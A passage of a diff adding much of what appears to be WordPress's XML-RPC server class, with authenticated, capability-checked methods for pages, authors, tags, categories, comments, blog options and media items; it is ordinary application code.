+				post_title page_title,
+				post_parent page_parent_id,
+				post_date_gmt,
+				post_date,
+				post_status
+			FROM {$wpdb->posts}
+			WHERE post_type = 'page'
+			ORDER BY ID
+		");
+
+		// The date needs to be formatted properly.
+		$num_pages = count($page_list);
+		for ( $i = 0; $i < $num_pages; $i++ ) {
+			$page_list[$i]->dateCreated = $this->_convert_date(  $page_list[$i]->post_date );
+			$page_list[$i]->date_created_gmt = $this->_convert_date_gmt( $page_list[$i]->post_date_gmt, $page_list[$i]->post_date );
+
+			unset($page_list[$i]->post_date_gmt);
+			unset($page_list[$i]->post_date);
+			unset($page_list[$i]->post_status);
+		}
+
+		return $page_list;
+	}
+
+	/**
+	 * Retrieve authors list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getAuthors( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can('edit_posts') )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getAuthors' );
+
+		$authors = array();
+		foreach ( get_users( array( 'fields' => array('ID','user_login','display_name') ) ) as $user ) {
+			$authors[] = array(
+				'user_id'       => $user->ID,
+				'user_login'    => $user->user_login,
+				'display_name'  => $user->display_name
+			);
+		}
+
+		return $authors;
+	}
+
+	/**
+	 * Get list of all tags
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getTags( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view tags.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getKeywords' );
+
+		$tags = array();
+
+		if ( $all_tags = get_tags() ) {
+			foreach ( (array) $all_tags as $tag ) {
+				$struct = array();
+				$struct['tag_id']			= $tag->term_id;
+				$struct['name']				= $tag->name;
+				$struct['count']			= $tag->count;
+				$struct['slug']				= $tag->slug;
+				$struct['html_url']			= esc_html( get_tag_link( $tag->term_id ) );
+				$struct['rss_url']			= esc_html( get_tag_feed_link( $tag->term_id ) );
+
+				$tags[] = $struct;
+			}
+		}
+
+		return $tags;
+	}
+
+	/**
+	 * Create new category.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $category
+	 * }
+	 * @return int|IXR_Error Category ID.
+	 */
+	public function wp_newCategory( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$category = $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newCategory' );
+
+		// Make sure the user is allowed to add a category.
+		if ( ! current_user_can( 'manage_categories' ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a category.' ) );
+		}
+
+		// If no slug was provided make it empty so that
+		// WordPress will generate one.
+		if ( empty($category['slug']) )
+			$category['slug'] = '';
+
+		// If no parent_id was provided make it empty
+		// so that it will be a top level page (no parent).
+		if ( !isset($category['parent_id']) )
+			$category['parent_id'] = '';
+
+		// If no description was provided make it empty.
+		if ( empty($category["description"]) )
+			$category["description"] = "";
+
+		$new_category = array(
+			'cat_name'				=> $category['name'],
+			'category_nicename'		=> $category['slug'],
+			'category_parent'		=> $category['parent_id'],
+			'category_description'	=> $category['description']
+		);
+
+		$cat_id = wp_insert_category($new_category, true);
+		if ( is_wp_error( $cat_id ) ) {
+			if ( 'term_exists' == $cat_id->get_error_code() )
+				return (int) $cat_id->get_error_data();
+			else
+				return new IXR_Error(500, __('Sorry, the new category failed.'));
+		} elseif ( ! $cat_id ) {
+			return new IXR_Error(500, __('Sorry, the new category failed.'));
+		}
+
+		/**
+		 * Fires after a new category has been successfully created via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $cat_id ID of the new category.
+		 * @param array $args   An array of new category arguments.
+		 */
+		do_action( 'xmlrpc_call_success_wp_newCategory', $cat_id, $args );
+
+		return $cat_id;
+	}
+
+	/**
+	 * Remove category.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $category_id
+	 * }
+	 * @return bool|IXR_Error See wp_delete_term() for return info.
+	 */
+	public function wp_deleteCategory( $args ) {
+		$this->escape( $args );
+
+		$username    = $args[1];
+		$password    = $args[2];
+		$category_id = (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deleteCategory' );
+
+		if ( ! current_user_can( 'delete_term', $category_id ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this category.' ) );
+		}
+
+		$status = wp_delete_term( $category_id, 'category' );
+
+		if ( true == $status ) {
+			/**
+			 * Fires after a category has been successfully deleted via XML-RPC.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int   $category_id ID of the deleted category.
+			 * @param array $args        An array of arguments to delete the category.
+			 */
+			do_action( 'xmlrpc_call_success_wp_deleteCategory', $category_id, $args );
+		}
+
+		return $status;
+	}
+
+	/**
+	 * Retrieve category list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $category
+	 *     @type int    $max_results
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_suggestCategories( $args ) {
+		$this->escape( $args );
+
+		$username    = $args[1];
+		$password    = $args[2];
+		$category    = $args[3];
+		$max_results = (int) $args[4];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.suggestCategories' );
+
+		$category_suggestions = array();
+		$args = array('get' => 'all', 'number' => $max_results, 'name__like' => $category);
+		foreach ( (array) get_categories($args) as $cat ) {
+			$category_suggestions[] = array(
+				'category_id'	=> $cat->term_id,
+				'category_name'	=> $cat->name
+			);
+		}
+
+		return $category_suggestions;
+	}
+
+	/**
+	 * Retrieve comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $comment_id
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getComment($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_id	= (int) $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getComment' );
+
+		if ( ! $comment = get_comment( $comment_id ) ) {
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+		}
+
+		if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) );
+		}
+
+		return $this->_prepare_comment( $comment );
+	}
+
+	/**
+	 * Retrieve comments.
+	 *
+	 * Besides the common blog_id (unused), username, and password arguments, it takes a filter
+	 * array as last argument.
+	 *
+	 * Accepted 'filter' keys are 'status', 'post_id', 'offset', and 'number'.
+	 *
+	 * The defaults are as follows:
+	 * - 'status' - Default is ''. Filter by status (e.g., 'approve', 'hold')
+	 * - 'post_id' - Default is ''. The post where the comment is posted. Empty string shows all comments.
+	 * - 'number' - Default is 10. Total number of media items to retrieve.
+	 * - 'offset' - Default is 0. See WP_Query::query() for more.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $struct
+	 * }
+	 * @return array|IXR_Error Contains a collection of comments. See wp_xmlrpc_server::wp_getComment() for a description of each item contents
+	 */
+	public function wp_getComments( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$struct	  = isset( $args[3] ) ? $args[3] : array();
+
+		if ( ! $user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getComments' );
+
+		if ( isset( $struct['status'] ) ) {
+			$status = $struct['status'];
+		} else {
+			$status = '';
+		}
+
+		if ( ! current_user_can( 'moderate_comments' ) && 'approve' !== $status ) {
+			return new IXR_Error( 401, __( 'Invalid comment status.' ) );
+		}
+
+		$post_id = '';
+		if ( isset( $struct['post_id'] ) ) {
+			$post_id = absint( $struct['post_id'] );
+		}
+
+		$post_type = '';
+		if ( isset( $struct['post_type'] ) ) {
+			$post_type_object = get_post_type_object( $struct['post_type'] );
+			if ( ! $post_type_object || ! post_type_supports( $post_type_object->name, 'comments' ) ) {
+				return new IXR_Error( 404, __( 'Invalid post type.' ) );
+			}
+			$post_type = $struct['post_type'];
+		}
+
+		$offset = 0;
+		if ( isset( $struct['offset'] ) ) {
+			$offset = absint( $struct['offset'] );
+		}
+
+		$number = 10;
+		if ( isset( $struct['number'] ) ) {
+			$number = absint( $struct['number'] );
+		}
+
+		$comments = get_comments( array(
+			'status' => $status,
+			'post_id' => $post_id,
+			'offset' => $offset,
+			'number' => $number,
+			'post_type' => $post_type,
+		) );
+
+		$comments_struct = array();
+		if ( is_array( $comments ) ) {
+			foreach ( $comments as $comment ) {
+				$comments_struct[] = $this->_prepare_comment( $comment );
+			}
+		}
+
+		return $comments_struct;
+	}
+
+	/**
+	 * Delete a comment.
+	 *
+	 * By default, the comment will be moved to the trash instead of deleted.
+	 * See wp_delete_comment() for more information on this behavior.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $comment_ID
+	 * }
+	 * @return bool|IXR_Error See wp_delete_comment().
+	 */
+	public function wp_deleteComment( $args ) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_ID	= (int) $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		if ( ! get_comment( $comment_ID ) ) {
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+		}
+
+		if ( ! current_user_can( 'edit_comment', $comment_ID ) ) {
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed to delete this comment.' ) );
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deleteComment' );
+
+		$status = wp_delete_comment( $comment_ID );
+
+		if ( $status ) {
+			/**
+			 * Fires after a comment has been successfully deleted via XML-RPC.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int   $comment_ID ID of the deleted comment.
+			 * @param array $args       An array of arguments to delete the comment.
+			 */
+			do_action( 'xmlrpc_call_success_wp_deleteComment', $comment_ID, $args );
+		}
+
+		return $status;
+	}
+
+	/**
+	 * Edit comment.
+	 *
+	 * Besides the common blog_id (unused), username, and password arguments, it takes a
+	 * comment_id integer and a content_struct array as last argument.
+	 *
+	 * The allowed keys in the content_struct array are:
+	 *  - 'author'
+	 *  - 'author_url'
+	 *  - 'author_email'
+	 *  - 'content'
+	 *  - 'date_created_gmt'
+	 *  - 'status'. Common statuses are 'approve', 'hold', 'spam'. See get_comment_statuses() for more details
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $comment_ID
+	 *     @type array  $content_struct
+	 * }
+	 * @return true|IXR_Error True, on success.
+	 */
+	public function wp_editComment( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_ID	= (int) $args[3];
+		$content_struct = $args[4];
+
+		if ( !$user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		if ( ! get_comment( $comment_ID ) ) {
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+		}
+
+		if ( ! current_user_can( 'edit_comment', $comment_ID ) ) {
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) );
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editComment' );
+ 		$comment = array(
+ 			'comment_ID' => $comment_ID,
+ 		);
+
+
+		if ( isset($content_struct['status']) ) {
+			$statuses = get_comment_statuses();
+			$statuses = array_keys($statuses);
+
+			if ( ! in_array($content_struct['status'], $statuses) )
+				return new IXR_Error( 401, __( 'Invalid comment status.' ) );
+ 			$comment['comment_approved'] = $content_struct['status'];
+		}
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) ) {
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force
+
+ 			$dateCreated                 = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
+ 			$comment['comment_date']     = get_date_from_gmt( iso8601_to_datetime( $dateCreated ) );
+ 			$comment['comment_date_gmt'] = iso8601_to_datetime( $dateCreated, 'GMT' );
+		}
+
+		if ( isset($content_struct['content']) ) {
+ 			$comment['comment_content'] = $content_struct['content'];
+		}
+
+		if ( isset($content_struct['author']) ) {
+ 			$comment['comment_author'] = $content_struct['author'];
+		}
+
+		if ( isset($content_struct['author_url']) ) {
+ 			$comment['comment_author_url'] = $content_struct['author_url'];
+		}
+
+		if ( isset($content_struct['author_email']) ) {
+ 			$comment['comment_author_email'] = $content_struct['author_email'];
+		}
+
+		$result = wp_update_comment($comment);
+		if ( is_wp_error( $result ) )
+			return new IXR_Error(500, $result->get_error_message());
+
+		if ( !$result )
+			return new IXR_Error(500, __('Sorry, the comment could not be edited.'));
+
+		/**
+		 * Fires after a comment has been successfully updated via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $comment_ID ID of the updated comment.
+		 * @param array $args       An array of arguments to update the comment.
+		 */
+		do_action( 'xmlrpc_call_success_wp_editComment', $comment_ID, $args );
+
+		return true;
+	}
+
+	/**
+	 * Create new comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int        $blog_id (unused)
+	 *     @type string     $username
+	 *     @type string     $password
+	 *     @type string|int $post
+	 *     @type array      $content_struct
+	 * }
+	 * @return int|IXR_Error See wp_new_comment().
+	 */
+	public function wp_newComment($args) {
+		$this->escape($args);
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$post           = $args[3];
+		$content_struct = $args[4];
+
+		/**
+		 * Filters whether to allow anonymous comments over XML-RPC.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param bool $allow Whether to allow anonymous commenting via XML-RPC.
+		 *                    Default false.
+		 */
+		$allow_anon = apply_filters( 'xmlrpc_allow_anonymous_comments', false );
+
+		$user = $this->login($username, $password);
+
+		if ( !$user ) {
+			$logged_in = false;
+			if ( $allow_anon && get_option('comment_registration') ) {
+				return new IXR_Error( 403, __( 'You must be registered to comment.' ) );
+			} elseif ( ! $allow_anon ) {
+				return $this->error;
+			}
+		} else {
+			$logged_in = true;
+		}
+
+		if ( is_numeric($post) )
+			$post_id = absint($post);
+		else
+			$post_id = url_to_postid($post);
+
+		if ( ! $post_id ) {
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+		}
+
+		if ( ! get_post( $post_id ) ) {
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+		}
+
+		if ( ! comments_open( $post_id ) ) {
+			return new IXR_Error( 403, __( 'Sorry, comments are closed for this item.' ) );
+		}
+
+		if ( empty( $content_struct['content'] ) ) {
+			return new IXR_Error( 403, __( 'Comment is required.' ) );
+		}
+
+		if (
+			'publish' === get_post_status( $post_id ) &&
+			! current_user_can( 'edit_post', $post_id ) &&
+			post_password_required( $post_id )
+		) {
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) );
+		}
+
+		if (
+			'private' === get_post_status( $post_id ) &&
+			! current_user_can( 'read_post', $post_id )
+		) {
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) );
+		}
+
+		$comment = array(
+			'comment_post_ID' => $post_id,
+			'comment_content' => $content_struct['content'],
+		);
+
+		if ( $logged_in ) {
+			$display_name = $user->display_name;
+			$user_email = $user->user_email;
+			$user_url = $user->user_url;
+
+			$comment['comment_author'] = $this->escape( $display_name );
+			$comment['comment_author_email'] = $this->escape( $user_email );
+			$comment['comment_author_url'] = $this->escape( $user_url );
+			$comment['user_ID'] = $user->ID;
+		} else {
+			$comment['comment_author'] = '';
+			if ( isset($content_struct['author']) )
+				$comment['comment_author'] = $content_struct['author'];
+
+			$comment['comment_author_email'] = '';
+			if ( isset($content_struct['author_email']) )
+				$comment['comment_author_email'] = $content_struct['author_email'];
+
+			$comment['comment_author_url'] = '';
+			if ( isset($content_struct['author_url']) )
+				$comment['comment_author_url'] = $content_struct['author_url'];
+
+			$comment['user_ID'] = 0;
+
+			if ( get_option('require_name_email') ) {
+				if ( 6 > strlen($comment['comment_author_email']) || '' == $comment['comment_author'] )
+					return new IXR_Error( 403, __( 'Comment author name and email are required.' ) );
+				elseif ( !is_email($comment['comment_author_email']) )
+					return new IXR_Error( 403, __( 'A valid email address is required.' ) );
+			}
+		}
+
+		$comment['comment_parent'] = isset($content_struct['comment_parent']) ? absint($content_struct['comment_parent']) : 0;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newComment' );
+
+		$comment_ID = wp_new_comment( $comment, true );
+		if ( is_wp_error( $comment_ID ) ) {
+			return new IXR_Error( 403, $comment_ID->get_error_message() );
+		}
+
+		if ( ! $comment_ID ) {
+			return new IXR_Error( 403, __( 'Something went wrong.' ) );
+		}
+
+		/**
+		 * Fires after a new comment has been successfully created via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $comment_ID ID of the new comment.
+		 * @param array $args       An array of new comment arguments.
+		 */
+		do_action( 'xmlrpc_call_success_wp_newComment', $comment_ID, $args );
+
+		return $comment_ID;
+	}
+
+	/**
+	 * Retrieve all of the comment status.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getCommentStatusList( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( ! $user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		if ( ! current_user_can( 'publish_posts' ) ) {
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed access to details about this site.' ) );
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getCommentStatusList' );
+
+		return get_comment_statuses();
+	}
+
+	/**
+	 * Retrieve comment count.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $post_id
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getCommentCount( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$post_id	= (int) $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		$post = get_post( $post_id, ARRAY_A );
+		if ( empty( $post['ID'] ) ) {
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+		}
+
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed access to details of this post.' ) );
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getCommentCount' );
+
+		$count = wp_count_comments( $post_id );
+
+		return array(
+			'approved' => $count->approved,
+			'awaiting_moderation' => $count->moderated,
+			'spam' => $count->spam,
+			'total_comments' => $count->total_comments
+		);
+	}
+
+	/**
+	 * Retrieve post statuses.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPostStatusList( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed access to details about this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostStatusList' );
+
+		return get_post_statuses();
+	}
+
+	/**
+	 * Retrieve page statuses.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPageStatusList( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed access to details about this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPageStatusList' );
+
+		return get_page_statuses();
+	}
+
+	/**
+	 * Retrieve page templates.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPageTemplates( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed access to details about this site.' ) );
+
+		$templates = get_page_templates();
+		$templates['Default'] = 'default';
+
+		return $templates;
+	}
+
+	/**
+	 * Retrieve blog options.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $options
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getOptions( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$options	= isset( $args[3] ) ? (array) $args[3] : array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		// If no specific options where asked for, return all of them
+		if ( count( $options ) == 0 )
+			$options = array_keys($this->blog_options);
+
+		return $this->_getOptions($options);
+	}
+
+	/**
+	 * Retrieve blog options value from list.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $options Options to retrieve.
+	 * @return array
+	 */
+	public function _getOptions($options) {
+		$data = array();
+		$can_manage = current_user_can( 'manage_options' );
+		foreach ( $options as $option ) {
+			if ( array_key_exists( $option, $this->blog_options ) ) {
+				$data[$option] = $this->blog_options[$option];
+				//Is the value static or dynamic?
+				if ( isset( $data[$option]['option'] ) ) {
+					$data[$option]['value'] = get_option( $data[$option]['option'] );
+					unset($data[$option]['option']);
+				}
+
+				if ( ! $can_manage )
+					$data[$option]['readonly'] = true;
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Update blog options.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $options
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_setOptions( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$options	= (array) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'manage_options' ) )
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed to update options.' ) );
+
+		$option_names = array();
+		foreach ( $options as $o_name => $o_value ) {
+			$option_names[] = $o_name;
+			if ( !array_key_exists( $o_name, $this->blog_options ) )
+				continue;
+
+			if ( $this->blog_options[$o_name]['readonly'] == true )
+				continue;
+
+			update_option( $this->blog_options[$o_name]['option'], wp_unslash( $o_value ) );
+		}
+
+		//Now return the updated values
+		return $this->_getOptions($option_names);
+	}
+
+	/**
+	 * Retrieve a media item by ID
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $attachment_id
+	 * }
+	 * @return array|IXR_Error Associative array contains:
+	 *  - 'date_created_gmt'
+	 *  - 'parent'
+	 *  - 'link'
+	 *  - 'thumbnail'
+	 *  - 'title'
+	 *  - 'caption'
+	 *  - 'description'
+	 *  - 'metadata'
+	 */
+	public function wp_getMediaItem( $args ) {
+		$this->escape( $args );
+
+		$username		= $args[1];
+		$password		= $args[2];
+		$attachment_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'upload_files' ) )
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed to upload files.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getMediaItem' );
+
+		$attachment = get_post( $attachment_id );
+		if ( ! $attachment || 'attachment' !== $attachment->post_type ) {
+			return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+		}
+
+		return $this->_prepare_media_item( $attachment );
+	}
+
+	/**
+	 * Retrieves a collection of media library items (or attachments)
+	 *
+	 * Besides the common blog_id (unused), username, and password arguments, it takes a filter
+	 * array as last argument.
+	 *
+	 * Accepted 'filter' keys are 'parent_id', 'mime_type', 'offset', and 'number'.
+	 *
+	 * The defaults are as follows:
+	 * - 'number' - Default is 5. Total number of media items to retrieve.
+	 * - 'offset' - Default is 0. See WP_Query::query() for more.
+	 * - 'parent_id' - Default is ''. The post where the media item is attached. Empty string shows all media items. 0 shows unattached media items.
+	 * - 'mime_type' - Default is ''. Filter by mime type (e.g., 'image/jpeg', 'application/pdf')
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $struct
+	 * }
+	 * @return array|IXR_Error Contains a collection of media items. See wp_xmlrpc_server::wp_getMediaItem() for a description of each item contents
+	 */
+	public function wp_getMediaLibrary($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$struct		= isset( $args[3] ) ? $args[3] : array() ;
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'upload_files' ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getMediaLibrary' );
+
+		$parent_id = ( isset($struct['parent_id']) ) ? absint($struct['parent_id']) : '' ;
+		$mime_type = ( isset($struct['mime_type']) ) ? $struct['mime_type'] : '' ;
+		$offset = ( isset($struct['offset']) ) ? absint($struct['offset']) : 0 ;
+		$number = ( isset($struct['number']) ) ? absint($struct['number']) : -1 ;
+
+		$attachments = get_posts( array('post_type' => 'attachment', 'post_parent' => $parent_id, 'offset' => $offset, 'numberposts' => $number, 'post_mime_type' => $mime_type ) );
+
+		$attachments_struct = array();
+
